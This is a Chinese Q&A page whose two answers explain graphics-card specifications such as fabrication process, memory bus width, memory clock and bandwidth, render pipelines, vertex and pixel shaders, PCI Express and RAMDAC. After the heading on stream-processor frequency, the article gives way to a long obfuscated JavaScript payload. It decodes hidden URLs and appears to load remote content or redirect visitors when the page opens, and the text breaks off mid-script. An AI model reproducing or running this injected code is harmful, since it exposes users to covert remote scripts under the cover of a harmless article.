请教高手 显卡一些参数的详解

2025-02-13 11:57:38
推荐回答(2个)
回答1:

制作工艺

显示芯片的制造工艺与CPU一样,也是用微米来衡量其加工精度的。制造工艺的提高,意味着显示芯片的体积将更小、集成度更高,可以容纳更多的晶体管,性能会更加强大,功耗也会降低。

和中央处理器一样,显示卡的核心芯片,也是在硅晶片上制成的。采用更高的制造工艺,对于显示核心频率和显示卡集成度的提高都是至关重要的。而且重要的是制程工艺的提高可以有效的降低显卡芯片的生产成本。目前的显示芯片制造商中,NVIDIA公司已全面采用了0.13微米的制造工艺,就是其FX5900显示核心之所以能集成一亿两千五百万个晶体管的根本原因。而ATI公司主要还是在使用0.15微米的制造工艺,比如其高端的镭9800XT和镭9800 Pro显卡,部分产品采用更先进的0.13微米制造工艺,比如其镭9600显卡。

微电子技术的发展与进步,主要是靠工艺技术的不断改进,使得器件的特征尺寸不断缩小,从而集成度不断提高,功耗降低,器件性能得到提高。显示芯片制造工艺在1995年以后,从0.5微米、0.35微米、0.25微米、0.18微米、0.15微米、0.13微米、0.11微米一直发展到目前最新的90纳米,而未来则会以80纳米作为一个过渡,然后进一步发展到65纳米。总的说来,显示芯片在制造工艺方面基本上总是要落后于CPU的制造工艺一个时代,例如CPU采用0.13微米工艺时显示芯片还在采用0.18微米工艺和0.15微米工艺,CPU采用90纳米工艺时显示芯片则还在使用0.13微米工艺和0.11微米工艺,而现在CPU已经采用65纳米工艺了而显示芯片则刚进入90纳米工艺。

提高显示芯片的制造工艺具有重大的意义,因为更先进的制造工艺会在显示芯片内部集成更多的晶体管,使显示芯片实现更高的性能、支持更多的特效;更先进的制造工艺会使显示芯片的核心面积进一步减小,也就是说在相同面积的晶圆上可以制造出更多的显示芯片产品,直接降低了显示芯片的产品成本,从而最终会降低显卡的销售价格使广大消费者得利;更先进的制造工艺还会减少显示芯片的功耗,从而减少其发热量,解决显示芯片核心频率提升的障碍.....显示芯片自身的发展历史也充分的说明了这一点,先进的制造工艺使显卡的性能和支持的特效不断增强,而价格则不断下滑,例如售价为1500左右的中端显卡GeForce 7600GT其性能就足以击败上一代售价为5000元左右的顶级显卡GeForce 6800Ultra。

采用更低制造工艺的显示芯片也不是一定代表有更高的性能,因为显示芯片设计思路也各不同相同,并不能单纯已制造工艺来衡量其性能。最明显的就是NVDIVA的GeForce FX5950和ATI的Radeon 9800XT,9800XT采用0.15微米制造工艺,而FX5950采用更为先进的0.13微米制造工艺,但在性能表现上,Radeon 9800XT则要略胜一筹。

四、核心位宽

显示芯片位宽是指显示芯片内部数据总线的位宽,也就是显示芯片内部所采用的数据传输位数,目前主流的显示芯片基本都采用了256位的位宽,采用更大的位宽意味着在数据传输速度不变的情况,瞬间所能传输的数据量越大。就好比是不同口径的阀门,在水流速度一定的情况下,口径大的能提供更大的出水量。显示芯片位宽就是显示芯片内部总线的带宽,带宽越大,可以提供的计算能力和数据吞吐能力也越快,是决定显示芯片级别的重要数据之一。目前已推出最大显示芯片位宽是512位,那是由Matrox(幻日)公司推出的Parhelia-512显卡,这是世界上第一颗具有512位宽的显示芯片。而目前市场中所有的主流显示芯片,包括NVIDIA公司的GeForce系列显卡,ATI公司的Radeon系列等,全部都采用256位的位宽。这两家目前世界上最大的显示芯片制造公司也将在未来几年内采用512位宽。

显示芯片位宽增加并不代表该芯片性能更强,因为显示芯片集成度相当高,设计、制造都需要很高的技术能力,单纯的强调显示芯片位宽并没有多大意义,只有在其它部件、芯片设计、制造工艺等方面都完全配合的情况下,显示芯片位宽的作用才能得到体现。

五、显卡位宽

显存位宽是显存在一个时钟周期内所能传送数据的位数,位数越大则瞬间所能传输的数据量越大,这是显存的重要参数之一。目前市场上的显存位宽有64位、128位和256位三种,人们习惯上叫的64位显卡、128位显卡和256位显卡就是指其相应的显存位宽。显存位宽越高,性能越好价格也就越高,因此256位宽的显存更多应用于高端显卡,而主流显卡基本都采用128位显存。

大家知道显存带宽=显存频率X显存位宽/8,那么在显存频率相当的情况下,显存位宽将决定显存带宽的大小。比如说同样显存频率为500MHz的128位和256位显存,那么它俩的显存带宽将分别为:128位=500MHz*128∕8=8GB/s,而256位=500MHz*256∕8=16GB/s,是128位的2倍,可见显存位宽在显存数据中的重要性。

显卡的显存是由一块块的显存芯片构成的,显存总位宽同样也是由显存颗粒的位宽组成,。显存位宽=显存颗粒位宽×显存颗粒数。显存颗粒上都带有相关厂家的内存编号,可以去网上查找其编号,就能了解其位宽,再乘以显存颗粒数,就能得到显卡的位宽。这是最为准确的方法,但施行起来较为麻烦。

六、标配显存类型

显存是显卡上的关键核心部件之一,它的优劣和容量大小会直接关系到显卡的最终性能表现。可以说显示芯片决定了显卡所能提供的功能和其基本性能,而显卡性能的发挥则很大程度上取决于显存。无论显示芯片的性能如何出众,最终其性能都要通过配套的显存来发挥。

显存,也被叫做帧缓存,它的作用是用来存储显卡芯片处理过或者即将提取的渲染数据。如同计算机的内存一样,显存是用来存储要处理的图形信息的部件。我们在显示屏上看到的画面是由一个个的像素点构成的,而每个像素点都以4至32甚至64位的数据来控制它的亮度和色彩,这些数据必须通过显存来保存,再交由显示芯片和CPU调配,最后把运算结果转化为图形输出到显示器上。

显卡的工作原理是:在显卡开始工作(图形渲染建模)前,通常是把所需要的材质和纹理数据传送到显存里面,开始工作时候(进行建模渲染),这些数据通过AGP总线进行传输,显示芯片将通过AGP总线提取存储在显存里面的数据,除了建模渲染数据外还有大量的顶点数据和工作指令流需要进行交换,这些数据通过RAMDAC转换为模拟信号输出到显示端,最终就是我们看见的图像。

作为显示卡的重要组成部分,显存一直随着显示芯片的发展而逐步改变着。从早期的EDORAM、MDRAM、SDRAM、SGRAM、VRAM、WRAM等到今天广泛采用的DDR SDRAM显存经历了很多代的进步。

目前市场中所采用的显存类型主要有SDRAM,DDR SDRAM,DDR SGRAM三种。SDRAM颗粒目前主要应用在低端显卡上,频率一般不超过200MHz,在价格和性能上它比DDR都没有什么优势,因此逐渐被DDR取代。DDR SDRAM是市场中的主流(包括DDR2和DDR3),一方面是工艺的成熟,批量的生产导致成本下跌,使得它的价格便宜;另一方面它能提供较高的工作频率,带来优异的数据处理性能。至于DDR SGRAM,它是显卡厂商特别针对绘图者需求,为了加强图形的存取处理以及绘图控制效率,从同步动态随机存取内存(SDRAM)所改良而得的产品。SGRAM允许以方块 (Blocks) 为单位个别修改或者存取内存中的资料,它能够与中央处理器(CPU)同步工作,可以减少内存读取次数,增加绘图控制器的效率,尽管它稳定性不错,而且性能表现也很好,但是它的超频性能很差劲,目前也极少使用。

七、核心频率

显示芯片的核心频率是指显示核心的工作频率,有点类似与CPU的工作主频,其工作频率在一定程度上可以反映出显示核心的性能。但显卡的性能是由核心频率、显存、像素管线、像素填充率等等多方面的情况所决定的,因此在显示核心不同的情况下,核心频率高并不代表此显卡性能强劲。比如9600PRO的核心频率达到了400MHz,要比9800PRO的380MHz高,但在性能上9800PRO绝对要强于9600PRO。在同样级别的芯片中,核心频率高的则性能要强一些,提高核心频率就是显卡超频的方法之一。显示芯片主流的只有ATI和NVIDIA两家,两家都提供显示核心给第三方的厂商,在同样的显示核心下,部分厂商会适当提高其产品的显示核心频率,使其工作在高于显示核心固定的频率上以达到更高的性能。

八、显存频率

显存频率是指默认情况下,该显存在显卡上工作时的频率,以MHz(兆赫兹)为单位。显存频率一定程度上反应着该显存的速度。显存频率随着显存的类型、性能的不同而不同,SDRAM显存一般都工作在较低的频率上,一般就是133MHz和166MHz,此种频率早已无法满足现在显卡的需求。DDR SDRAM显存则能提供较高的显存频率,主要在中低端显卡上使用,DDR2显存由于成本高并且性能一般,因此使用量不大。DDR3显存是目前高端显卡采用最为广泛的显存类型。不同显存能提供的显存频率也差异很大,主要有400MHz、500MHz、600MHz、650MHz等,高端产品中还有800MHz、1200MHz、1600MHz,甚至更高。

显存频率与显存时钟周期是相关的,二者成倒数关系,也就是显存频率=1/显存时钟周期。如果是SDRAM显存,其时钟周期为6ns,那么它的显存频率就为1/6ns=166 MHz。而对于DDR SDRAM或者DDR2、DDR3,其时钟周期为6ns,那么它的显存频率就为1/6ns=166 MHz,但要了解的是这是DDR SDRAM的实际频率,而不是我们平时所说的DDR显存频率。因为DDR在时钟上升期和下降期都进行数据传输,其一个周期传输两次数据,相当于SDRAM频率的二倍。习惯上称呼的DDR频率是其等效频率,是在其实际工作频率上乘以2,就得到了等效频率。因此6ns的DDR显存,其显存频率为1/6ns*2=333 MHz。具体情况可以看下边关于各种显存的介绍。

但要明白的是显卡制造时,厂商设定了显存实际工作频率,而实际工作频率不一定等于显存最大频率。此类情况现在较为常见,如显存最大能工作在650 MHz,而制造时显卡工作频率被设定为550 MHz,此时显存就存在一定的超频空间。这也就是目前厂商惯用的方法,显卡以超频为卖点。此外,用于显卡的显存,虽然和主板用的内存同样叫DDR、DDR2甚至DDR3,但是由于规范参数差异较大,不能通用,因此也可以称显存为GDDR、GDDR2、GDDR3。

九、显存带宽

显存带宽是指显示芯片与显存之间的数据传输速率,它以字节/秒为单位。显存带宽是决定显卡性能和速度最重要的因素之一。要得到精细(高分辨率)、色彩逼真(32位真彩)、流畅(高刷新速度)的3D画面,就必须要求显卡具有大显存带宽。目前显示芯片的性能已达到很高的程度,其处理能力是很强的,只有大显存带宽才能保障其足够的数据输入和输出。随着多媒体、3D游戏对硬件的要求越来越高,在高分辨率、32位真彩和高刷新率的3D画面面前,相对于GPU,较低的显存带宽已经成为制约显卡性能的瓶颈。显存带宽是目前决定显卡图形性能和速度的重要因素之一。

显存带宽的计算公式为:显存带宽=工作频率×显存位宽/8。目前大多中低端的显卡都能提供6.4GB/s、8.0GB/s的显存带宽,而对于高端的显卡产品则提供超过20GB/s的显存带宽。在条件允许的情况下,尽可能购买显存带宽大的显卡,这是一个选择的关键。

十、渲染管线

渲染管线也称为渲染流水线,是显示芯片内部处理图形信号相互独立的的并行处理单元。在某种程度上可以把渲染管线比喻为工厂里面常见的各种生产流水线,工厂里的生产流水线是为了提高产品的生产能力和效率,而渲染管线则是提高显卡的工作能力和效率。

渲染管线的数量一般是以 像素渲染流水线的数量×每管线的纹理单元数量 来表示。例如,GeForce 6800Ultra的渲染管线是16×1,就表示其具有16条像素渲染流水线,每管线具有1个纹理单元;GeForce4 MX440的渲染管线是2×2,就表示其具有2条像素渲染流水线,每管线具有2个纹理单元等等,其余表示方式以此类推。

渲染管线的数量是决定显示芯片性能和档次的最重要的参数之一,在相同的显卡核心频率下,更多的渲染管线也就意味着更大的像素填充率和纹理填充率,从显卡的渲染管线数量上可以大致判断出显卡的性能高低档次。但显卡性能并不仅仅只是取决于渲染管线的数量,同时还取决于显示核心架构、渲染管线的的执行效率、顶点着色单元的数量以及显卡的核心频率和显存频率等等方面。一般来说在相同的显示核心架构下,渲染管线越多也就意味着性能越高,例如16×1架构的GeForce 6800GT其性能要强于12×1架构的GeForce 6800,就象工厂里的采用相同技术的2条生产流水线的生产能力和效率要强于1条生产流水线那样;而在不同的显示核心架构下,渲染管线的数量多就并不意味着性能更好,例如4×2架构的GeForce2 GTS其性能就不如2×2架构的GeForce4 MX440,就象工厂里的采用了先进技术的1条流水线的生产能力和效率反而还要强于只采用了老技术的2条生产流水线那样。

十一、顶点着色单元

顶点着色单元是显示芯片内部用来处理顶点(Vertex)信息并完成着色工作的并行处理单元。顶点着色单元决定了显卡的三角形处理和生成能力,所以也是衡量显示芯片性能特别是3D性能的重要参数。

顶点(Vertex)是图形学中的最基本元素,在三维空间中,每个顶点都拥有自己的坐标和颜色值等参数,三个顶点可以构成成一个三角形,而显卡所最终生成的立体画面则是由数量繁多的三角形构成的,而三角形数量的多少就决定了画面质量的高低,画面越真实越精美,就越需要数量更多的三角形来构成。顶点着色单元就是处理着些信息然后再送给像素渲染单元完成最后的贴图工作,最后再输出到显示器就成为我们所看到的3D画面。而显卡的顶点处理能力不足,就会导致要么降低画质,要么降低速度。

在相同的显示核心下,顶点着色单元的数量就决定了显卡的性能高低,数量越多也就意味着性能越高,例如具有6个顶点着色单元的GeForce 6800GT就要比只具有5个顶点着色单元的GeForce 6800性能高:但在不同的显示核心架构下顶点着色单元的数量多则并不一定就意味着性能越高,这还要取决于顶点着色单元的效率以及显卡的其它参数,例如具有4个顶点着色单元的Radeon 9800Pro其性能还不如只具有3个顶点着色单元的GeForce 6600GT。

十二、显卡接口

显卡接口是指显卡与主板连接所采用的接口种类。显卡的接口决定着显卡与系统之间数据传输的最大带宽,也就是瞬间所能传输的最大数据量。不同的接口决定着主板是否能够使用此显卡,只有在主板上有相应接口的情况下,显卡才能使用,并且不同的接口能为显卡带来不同的性能。

目前各种3D游戏和软件对显卡的要求越来越高,主板和显卡之间需要交换的数据量也越来越大,过去的显卡接口早已不能满足这样大量的数据交换,因此通常主板上都带有专门插显卡的插槽。假如显卡接口的传输速度不能满足显卡的需求,显卡的性能就会受到巨大的限制,再好的显卡也无法发挥。显卡发展至今主要出现过ISA、PCI、AGP、PCI Express等几种接口,所能提供的数据带宽依次增加。其中2004年推出的PCI Express接口已经成为主流,以解决显卡与系统数据传输的瓶颈问题,而ISA、PCI接口的显卡已经基本被淘汰。

十三、PCI Express接口

PCI Express(以下简称PCI-E)采用了目前业内流行的点对点串行连接,比起PCI以及更早期的计算机总线的共享并行架构,每个设备都有自己的专用连接,不需要向整个总线请求带宽,而且可以把数据传输率提高到一个很高的频率,达到PCI所不能提供的高带宽。相对于传统PCI总线在单一时间周期内只能实现单向传输,PCI-E的双单工连接能提供更高的传输速率和质量,它们之间的差异跟半双工和全双工类似。

PCI-E的接口根据总线位宽不同而有所差异,包括X1、X4、X8以及X16,而X2模式将用于内部接口而非插槽模式。PCI-E规格从1条通道连接到32条通道连接,有非常强的伸缩性,以满足不同系统设备对数据传输带宽不同的需求。此外,较短的PCI-E卡可以插入较长的PCI-E插槽中使用,PCI-E接口还能够支持热拔插,这也是个不小的飞跃。PCI-E X1的250MB/秒传输速度已经可以满足主流声效芯片、网卡芯片和存储设备对数据传输带宽的需求,但是远远无法满足图形芯片对数据传输带宽的需求。 因此,用于取代AGP接口的PCI-E接口位宽为X16,能够提供5GB/s的带宽,即便有编码上的损耗但仍能够提供约为4GB/s左右的实际带宽,远远超过AGP 8X的2.1GB/s的带宽。

尽管PCI-E技术规格允许实现X1(250MB/秒),X2,X4,X8,X12,X16和X32通道规格,但是依目前形式来看,PCI-E X1和PCI-E X16已成为PCI-E主流规格,同时很多芯片组厂商在南桥芯片当中添加对PCI-E X1的支持,在北桥芯片当中添加对PCI-E X16的支持。除去提供极高数据传输带宽之外,PCI-E因为采用串行数据包方式传递数据,所以PCI-E接口每个针脚可以获得比传统I/O标准更多的带宽,这样就可以降低PCI-E设备生产成本和体积。另外,PCI-E也支持高阶电源管理,支持热插拔,支持数据同步传输,为优先传输数据进行带宽优化。

在兼容性方面,PCI-E在软件层面上兼容目前的PCI技术和设备,支持PCI设备和内存模组的初始化,也就是说过去的驱动程序、操作系统无需推倒重来,就可以支持PCI-E设备。目前PCI-E已经成为显卡的接口的主流,不过早期有些芯片组虽然提供了PCI-E作为显卡接口,但是其速度是4X的,而不是16X的,例如VIA PT880 Pro和VIA PT880 Ultra,当然这种情况极为罕见。

十四、RAMDAC

RAMDAC是Random Access Memory Digital/Analog Convertor的缩写,即随机存取内存数字~模拟转换器。RAMDAC作用是将显存中的数字信号转换为显示器能够显示出来的模拟信号,其转换速率以MHz表示。

计算机中处理数据的过程其实就是将事物数字化的过程,所有的事物将被处理成 0和 1两个数,而后不断进行累加计算。图形加速卡也是靠这些0和1对每一个象素进行颜色、深度、亮度等各种处理。显卡生成的信号都是以数字来表示的,但是所有的CRT显示器都是以模拟方式进行工作的,数字信号无法被识别,这就必须有相应的设备将数字信号转换为模拟信号。而RAMDAC就是显卡中将数字信号转换为模拟信号的设备。

RAMDAC的转换速率以MHz表示,它决定了刷新频率的高低(与显示器的“带宽”意义近似)。其工作速度越高,频带越宽,高分辨率时的画面质量越好.该数值决定了在足够的显存下,显卡最高支持的分辨率和刷新率。如果要在1024×768的分辨率下达到85Hz的分辨率,RAMDAC的速率至少是1024×768×85×1.344÷1.06≈90MHz。

目前主流的显卡RAMDAC都能达到350MHz和400MHz,已足以满足和超过目前大多数显示器所能提供的分辨率和刷新率。

回答2:

顶点着色器

什么是顶点着色器?
1 顶点着色器是一组指令代码,这组指令代码在顶点被渲染时执行。
2 同一时间内,只能激活一个顶点着色器。
3 每个源顶点着色器最多拥有128条指令(DirextX8.1),而在DirectX9,则可以达到256条。

为什么大家要使用顶点着色器?
1 顶点着色器可以提高渲染场景速度。
2 用顶点着色器你可以做布类仿真,高级别动画,实时修改透视效果(比如水底效果),高级光亮(需要像素着色器支持)

顶点着色器如何运作?
简单说来,运作方式如下:当渲染一个顶点时,API会执行你在顶点着色器中所写的指令。依靠这种方法,你可以自己控制每个顶点,包括渲染,确定位置,是否显示在屏幕上。

如何创建一个顶点着色器?
用一个文本编辑器就可以了!我建议你们使用notepad或者vs开发环境来创建和修改着色器。另外,必须拥有一个支持可编程着色器的显卡。写完着色器后,保存他。API就可以调用他了(Direct3D或OpenGL)。API通过一些函数来调用这些代码指令到硬件中。

第二部分 像素着色器

什么是像素着色器?
1 像素着色器也是一组指令,这组指令在顶点中像素被渲染时执行。在每个执行时间,都会有很多像素被渲染。(像素的数目依靠屏幕的分辨率决定)
2像素着色器的指令和顶点着色器的指令非常接近。像素着色器不能像顶点着色器那样,单独存在。他们在运行的时候,必须有一个顶点着色器被激活。

为什么大家要使用像素着色器?
1 像素着色器过去是一种高级图形技术,专门用来提高渲染速度。
2 和顶点着色器一样,使用像素着色器,程序员能自定义渲染每个像素。

像素着色器如何运作?
一个像素着色器操作顶点上单独的像素。和顶点着色器一样,像素着色器源代码也是通过一些API加载到硬件的。

如何创建一个像素着色器?
也和顶点着色器一样,你只需要一个文本编辑器和支持着色器编程的显卡即可。同样,API(Direct3D OpenGL)加载像素着色器代码指令到硬件中。

流处理器
在我们介绍流处理器这个概念之前,首先让我们来了解一下流处理器这个概念是如何演变而来的。早在微软推出的DirectX 7.0当中就曾经提出过一个概念——T&L(中文名称是坐标转换和光源),它几乎可以看作是流处理器的鼻祖了。不过T&L的处理能力相对于现在的显卡来说已经不值一提了。于是在DirectX8.0中,由微软首次提出了Shader的概念,并且将Shader分为Vertex Shader(顶点着色器,简称VS单元)和Pixel Shader(像素着色器,简称PS单元)。

『上一代显卡的运行步骤』

其中Vertex Shader负责处理一系列对顶点资料进行操作运算的指令程序,它用来描述和修饰3D物体的几何形状,同时也用来控制光亮和阴影。而Pixel Shader是对像素资料进行操作运算的指令程序,其中包括了像素的色彩、深度坐标等资料。

在大多数的实际游戏运算当中,VS单元的运算幅度相对来说要比PS单元的运算符度简单了许多,这也是为什么ATI以及NVIDIA的上一代产品中会引入1:3和1:2的比值这个概念了。不过,VS单元与PS单元这个运算符度并不是一个绝对的比值,ATI和NVIDIA两方面也因此会出现1:3和1:2两个不同的比值。

『VS单元与PS单元不能达到平衡』

举例来说,某些游戏当中,需要的3D建模较多,模型相对来说比较复杂,而在色彩、光线的渲染等方面要求较低,这时,就会对VS单元运算有较高的要求,而部分PS单元就会出现闲置现象。而当有些游戏对3D建模较少,光线色彩渲染较多的话,那么这个游戏就会对PS单元运算有较高要求,部分VS单元就会出现闲置的现象。

针对这种情况,为了让显卡性能得到更充分测发挥,因此在DX10这一代产品中,提出了一个新的概念——统一架构。所谓的统一架构就是把原有的VS单元和PS单元统一起来,不再区分,这部分统称为Shader运算单元,这也就是我们所说的流处理器(Stream processor)。

流处理器频率

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 